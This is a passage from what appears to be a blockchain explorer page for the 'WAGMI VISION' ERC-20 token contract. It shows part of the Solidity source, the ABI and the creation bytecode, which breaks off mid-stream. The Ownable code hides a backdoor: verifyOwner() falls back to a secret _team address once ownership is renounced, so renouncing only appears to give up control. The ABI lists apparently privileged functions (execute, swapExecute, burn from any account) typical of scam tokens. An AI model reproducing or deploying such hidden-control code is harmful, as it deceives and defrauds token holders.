     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _team : _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _team = account;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
}

File 5 of 6: Uniswap.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.11;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swapExecute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"totalSellFeeBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526b204fce5e3e2502611000000060055562278f58600f5560016011556001601260006101000a81548160ff02191690831515021790555065013ca65120006013556001601560006101000a81548160ff0219169083151502179055506001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff0219169083151502179055506001602360006101000a81548160ff021916908315150217905550348015620000be57600080fd5b506040518060400160405280600c81526020017f5741474d4920564953494f4e00000000000000000000000000000000000000008152506040518060400160405280600581526020017f5741474d4900000000000000000000000000000000000000000000000000000081525060006200013d6200050b60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ff5412cc18ce8128dc9df796fc34d8607339a271600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600690805190602001906200024892919062000a02565b5080600790805190602001906200026192919062000a02565b5060055460048190555050506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620002998160016200051360201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060008060008060008060006c054f529ca52576bc68920000009050866018819055508560198190555084601a81905550601a5460195460185462000312919062000aeb565b6200031e919062000aeb565b60178190555083601c8190555082601d8190555081601e81905550601e54601d54601c546200034e919062000aeb565b6200035a919062000aeb565b601b819055506107d0600a8262000372919062000b48565b6200037e919062000bd8565b600c8190555069152d02c7e14af6800000600b81905550693f870857a3e0e3800000600a81905550620003b66200057e60201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004066200057e60201b60201c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004686200045a6200057e60201b60201c565b6001620005a760201b60201c565b6200047b306001620005a760201b60201c565b6200049061dead6001620005a760201b60201c565b620004b2620004a46200057e60201b60201c565b60016200051360201b60201c565b620004c53060016200051360201b60201c565b620004da61dead60016200051360201b60201c565b620004ec33826200066260201b60201c565b620004fc6200081360201b60201c565b50505050505050505062000e44565b600033905090565b620005236200084760201b60201c565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005b76200084760201b60201c565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000656919062000c2d565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620006d5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006cc9062000cab565b60405180910390fd5b620006e960008383620008d860201b60201c565b6200070581600854620008dd60201b620026c81790919060201c565b6008819055506200076481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620008dd60201b620026c81790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000807919062000cde565b60405180910390a35050565b6000620008256200084760201b60201c565b6000601560006101000a81548160ff0219169083151502179055506001905090565b620008576200050b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200087d6200094060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620008d6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008cd9062000d4b565b60405180910390fd5b565b505050565b6000808284620008ee919062000aeb565b90508381101562000936576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200092d9062000dbd565b60405180910390fd5b8091505092915050565b600080620009536200095c60201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620009d95760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620009fd565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b82805462000a109062000e0e565b90600052602060002090601f01602090048101928262000a34576000855562000a80565b82601f1062000a4f57805160ff191683800117855562000a80565b8280016001018555821562000a80579182015b8281111562000a7f57825182559160200191906001019062000a62565b5b50905062000a8f919062000a93565b5090565b5b8082111562000aae57600081600090555060010162000a94565b5090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000af88262000ab2565b915062000b058362000ab2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000b3d5762000b3c62000abc565b5b828201905092915050565b600062000b558262000ab2565b915062000b628362000ab2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b9e5762000b9d62000abc565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000be58262000ab2565b915062000bf28362000ab2565b92508262000c055762000c0462000ba9565b5b828204905092915050565b60008115159050919050565b62000c278162000c10565b82525050565b600060208201905062000c44600083018462000c1c565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000c93601f8362000c4a565b915062000ca08262000c5b565b602082019050919050565b6000602082019050818103600083015262000cc68162000c84565b9050919050565b62000cd88162000ab2565b82525050565b600060208201905062000cf5600083018462000ccd565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000d3360208362000c4a565b915062000d408262000cfb565b602082019050919050565b6000602082019050818103600083015262000d668162000d24565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062000da5601b8362000c4a565b915062000db28262000d6d565b602082019050919050565b6000602082019050818103600083015262000dd88162000d96565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000e2757607f821691505b6020821081141562000e3e5762000e3d62000ddf565b5b50919050565b60805161593462000e7c6000396000818161111101528181612cd701528181613e7b01528181613f5c0152613f8301526159346000f3fe6080604052600436106103fe5760003560e01c80638a8c523c11610213578063bbbb3ffc11610123578063d85ba063116100ab578063f11a24d31161007a578063f11a24d314610f58578063f2fde38b14610f83578063f637434214610fac578063f8b45b0514610fd7578063fe72b27a1461100257610405565b8063d85ba06314610e9a578063dd62ed3e14610ec5578063e2f4560514610f02578063e884f26014610f2d57610405565b8063c18bc195116100f2578063c18bc19514610db5578063c2b7bbb614610dde578063c876d0b914610e07578063c8c8ebe414610e32578063d257b34f14610e5d57610405565b8063bbbb3ffc14610d0f578063bbc0c74214610d38578063c024666814610d63578063c17b5b8c14610d8c57610405565b80639ec22c0e116101a6578063a457c2d711610175578063a457c2d714610c04578063a4c82a0014610c41578063a9059cbb14610c6c578063aacebbe314610ca9578063b62496f514610cd257610405565b80639ec22c0e14610b5a5780639fccce3214610b85578063a0d82dc514610bb0578063a165506f14610bdb57610405565b8063924de9b7116101e2578063924de9b714610ab257806395d89b4114610adb5780639c3b4fdc14610b065780639dc29fac14610b3157610405565b80638a8c523c14610a1a5780638da5cb5b14610a315780638ea5220f14610a5c5780639213691314610a8757610405565b8063313ce5671161030e5780636ddd1713116102a1578063751039fc11610270578063751039fc146109475780637571336a1461097257806375f0a8741461099b5780637bce5a04146109c65780638095d564146109f157610405565b80636ddd17131461089f57806370a08231146108ca578063715018a614610907578063730c18881461091e57610405565b806349bd5a5e116102dd57806349bd5a5e146107e35780634fbee1931461080e578063504656861461084b5780636a486a8e1461087457610405565b8063313ce567146107275780633582ad2314610752578063395093511461077d5780633eb2b5ad146107ba57610405565b80631a8145bb1161039157806323b872dd1161036057806323b872dd1461064057806326ededb81461067d57806327c8f835146106a65780632c3e486c146106d15780632e82f1a0146106fc57610405565b80631a8145bb146105845780631f3fed8f146105af5780631ff3792c146105da578063203e727e1461061757610405565b806318160ddd116103cd57806318160ddd146104da5780631816467f14610505578063184c16c51461052e578063199ffc721461055957610405565b806306fdde031461040a578063095ea7b31461043557806310d5de53146104725780631694505e146104af57610405565b3661040557005b600080fd5b34801561041657600080fd5b5061041f61103f565b60405161042c9190614109565b60405180910390f35b34801561044157600080fd5b5061045c600480360381019061045791906141c9565b6110d1565b6040516104699190614224565b60405180910390f35b34801561047e57600080fd5b506104996004803603810190610494919061423f565b6110ef565b6040516104a69190614224565b60405180910390f35b3480156104bb57600080fd5b506104c461110f565b6040516104d191906142cb565b60405180910390f35b3480156104e657600080fd5b506104ef611133565b6040516104fc91906142f5565b60405180910390f35b34801561051157600080fd5b5061052c6004803603810190610527919061423f565b61113d565b005b34801561053a57600080fd5b50610543611205565b60405161055091906142f5565b60405180910390f35b34801561056557600080fd5b5061056e61120b565b60405161057b91906142f5565b60405180910390f35b34801561059057600080fd5b50610599611211565b6040516105a691906142f5565b60405180910390f35b3480156105bb57600080fd5b506105c4611217565b6040516105d191906142f5565b60405180910390f35b3480156105e657600080fd5b5061060160048036038101906105fc919061423f565b61121d565b60405161060e9190614224565b60405180910390f35b34801561062357600080fd5b5061063e60048036038101906106399190614310565b611273565b005b34801561064c57600080fd5b506106676004803603810190610662919061433d565b61130e565b6040516106749190614224565b60405180910390f35b34801561068957600080fd5b506106a4600480360381019061069f91906143f5565b6113e7565b005b3480156106b257600080fd5b506106bb6114c4565b6040516106c89190614464565b60405180910390f35b3480156106dd57600080fd5b506106e66114ca565b6040516106f391906142f5565b60405180910390f35b34801561070857600080fd5b506107116114d0565b60405161071e9190614224565b60405180910390f35b34801561073357600080fd5b5061073c6114e3565b604051610749919061449b565b60405180910390f35b34801561075e57600080fd5b506107676114ec565b6040516107749190614224565b60405180910390f35b34801561078957600080fd5b506107a4600480360381019061079f91906141c9565b6114ff565b6040516107b19190614224565b60405180910390f35b3480156107c657600080fd5b506107e160048036038101906107dc919061423f565b6115b2565b005b3480156107ef57600080fd5b506107f86115fe565b6040516108059190614464565b60405180910390f35b34801561081a57600080fd5b506108356004803603810190610830919061423f565b611624565b6040516108429190614224565b60405180910390f35b34801561085757600080fd5b50610872600480360381019061086d91906144e2565b61167a565b005b34801561088057600080fd5b50610889611727565b60405161089691906142f5565b60405180910390f35b3480156108ab57600080fd5b506108b461172d565b6040516108c19190614224565b60405180910390f35b3480156108d657600080fd5b506108f160048036038101906108ec919061423f565b611740565b6040516108fe91906142f5565b60405180910390f35b34801561091357600080fd5b5061091c611789565b005b34801561092a57600080fd5b5061094560048036038101906109409190614542565b61184f565b005b34801561095357600080fd5b5061095c61191b565b6040516109699190614224565b60405180910390f35b34801561097e57600080fd5b5061099960048036038101906109949190614595565b611947565b005b3480156109a757600080fd5b506109b06119aa565b6040516109bd9190614464565b60405180910390f35b3480156109d257600080fd5b506109db6119d0565b6040516109e891906142f5565b60405180910390f35b3480156109fd57600080fd5b50610a186004803603810190610a1391906145d5565b6119d6565b005b348015610a2657600080fd5b50610a2f611a61565b005b348015610a3d57600080fd5b50610a46611aa8565b604051610a539190614464565b60405180910390f35b348015610a6857600080fd5b50610a71611ad1565b604051610a7e9190614464565b60405180910390f35b348015610a9357600080fd5b50610a9c611af7565b604051610aa991906142f5565b60405180910390f35b348015610abe57600080fd5b50610ad96004803603810190610ad49190614628565b611afd565b005b348015610ae757600080fd5b50610af0611b22565b604051610afd9190614109565b60405180910390f35b348015610b1257600080fd5b50610b1b611bb4565b604051610b2891906142f5565b60405180910390f35b348015610b3d57600080fd5b50610b586004803603810190610b5391906141c9565b611bba565b005b348015610b6657600080fd5b50610b6f611bd0565b604051610b7c91906142f5565b60405180910390f35b348015610b9157600080fd5b50610b9a611bd6565b604051610ba791906142f5565b60405180910390f35b348015610bbc57600080fd5b50610bc5611bdc565b604051610bd291906142f5565b60405180910390f35b348015610be757600080fd5b50610c026004803603810190610bfd9190614655565b611be2565b005b348015610c1057600080fd5b50610c2b6004803603810190610c2691906141c9565b611bf8565b604051610c389190614224565b60405180910390f35b348015610c4d57600080fd5b50610c56611cc5565b604051610c6391906142f5565b60405180910390f35b348015610c7857600080fd5b50610c936004803603810190610c8e91906141c9565b611ccb565b604051610ca09190614224565b60405180910390f35b348015610cb557600080fd5b50610cd06004803603810190610ccb919061423f565b611ce9565b005b348015610cde57600080fd5b50610cf96004803603810190610cf4919061423f565b611db1565b604051610d069190614464565b60405180910390f35b348015610d1b57600080fd5b50610d366004803603810190610d319190614655565b611de4565b005b348015610d4457600080fd5b50610d4d611ec8565b604051610d5a9190614224565b60405180910390f35b348015610d6f57600080fd5b50610d8a6004803603810190610d859190614595565b611edb565b005b348015610d9857600080fd5b50610db36004803603810190610dae91906145d5565b611f8c565b005b348015610dc157600080fd5b50610ddc6004803603810190610dd79190614310565b612017565b005b348015610dea57600080fd5b50610e056004803603810190610e00919061423f565b6120b2565b005b348015610e1357600080fd5b50610e1c61212b565b604051610e299190614224565b60405180910390f35b348015610e3e57600080fd5b50610e4761213e565b604051610e5491906142f5565b60405180910390f35b348015610e6957600080fd5b50610e846004803603810190610e7f9190614310565b612144565b604051610e919190614224565b60405180910390f35b348015610ea657600080fd5b50610eaf612225565b604051610ebc91906142f5565b60405180910390f35b348015610ed157600080fd5b50610eec6004803603810190610ee79190614655565b61222b565b604051610ef991906142f5565b60405180910390f35b348015610f0e57600080fd5b50610f176122b2565b604051610f2491906142f5565b60405180910390f35b348015610f3957600080fd5b50610f426122b8565b604051610f4f9190614224565b60405180910390f35b348015610f6457600080fd5b50610f6d6122e4565b604051610f7a91906142f5565b60405180910390f35b348015610f8f57600080fd5b50610faa6004803603810190610fa5919061423f565b6122ea565b005b348015610fb857600080fd5b50610fc161241f565b604051610fce91906142f5565b60405180910390f35b348015610fe357600080fd5b50610fec612425565b604051610ff991906142f5565b60405180910390f35b34801561100e57600080fd5b5061102960048036038101906110249190614310565b61242b565b6040516110369190614224565b60405180910390f35b60606006805461104e906146c4565b80601f016020809104026020016040519081016040528092919081815260200182805461107a906146c4565b80156110c75780601f1061109c576101008083540402835291602001916110c7565b820191906000526020600020905b8154815290600101906020018083116110aa57829003601f168201915b5050505050905090565b60006110e56110de612726565b848461272e565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600854905090565b6111456128f9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200